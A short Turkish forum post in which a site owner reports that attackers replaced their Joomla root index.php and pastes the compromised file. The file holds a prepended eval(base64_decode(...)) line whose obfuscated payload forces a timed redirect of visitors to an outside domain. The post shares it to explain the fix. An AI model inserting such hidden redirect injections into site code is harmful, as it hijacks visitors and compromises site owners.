arkadaşlar problemi çözdüm.
root daki index.php dosyasını değiştirmişler. olması gereken index.php dosyasını güncelleyince sorun halloldu.

hostingimdeki yükledikleri index.php şu şekilde:

<?php
eval(base64_decode('JHgwYj0iXHg2OFx4NjVcMTQxXDE0NFx4NjVcMTYyIjsgDQokeDBiKCJceDUyZVwxNDZcMTYyXDE0NVx4NzNcMTUwXHgzYSBcMDYyXHgzNTsgXHg3NVx4NzJceDZjXHgzZFwiXHg2OFwxNjRceDc0XDE2MFx4M2FceDJmXDA1N1x4NjZvcmJcMTUxXDE0NFwxNDRcMTQ1XHg2ZVwxNzIuXDE1MVwxNTZmXHg2Zi9ceDM0XHgzNFwiIik7'));
define( '_JEXEC', 1 );

define('JPATH_BASE', dirname(__FILE__) );

define( 'DS', DIRECTORY_SEPARATOR );

require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );

JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;

/**
 * CREATE THE APPLICATION
 *
 * NOTE :
 */
$mainframe =& JFactory::getApplication('site');

/**
 * INITIALISE THE APPLICATION
 *
 * NOTE :
 */
// set the language
$mainframe->initialise();

JPluginHelper::importPlugin('system');

// trigger the onAfterInitialise events
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
$mainframe->triggerEvent('onAfterInitialise');

/**
 * ROUTE THE APPLICATION
 *
 * NOTE :
 */
$mainframe->route();

// authorization
$Itemid = JRequest::getInt( 'Itemid');
$mainframe->authorize($Itemid);

// trigger the onAfterRoute events
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
$mainframe->triggerEvent('onAfterRoute');

/**
 * DISPATCH THE APPLICATION
 *
 * NOTE :
 */
$option = JRequest::getCmd('option');
$mainframe->dispatch($option);

// trigger the onAfterDispatch events
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
$mainframe->triggerEvent('onAfterDispatch');

/**
 * RENDER  THE APPLICATION
 *
 * NOTE :
 */
$mainframe->render();

// trigger the onAfterRender events
JDEBUG ? $_PROFILER->mark('afterRender') : null;
$mainframe->triggerEvent('onAfterRender');

/**
 * RETURN THE RESPONSE
 */
echo JResponse::toString($mainframe->getCfg('gzip'));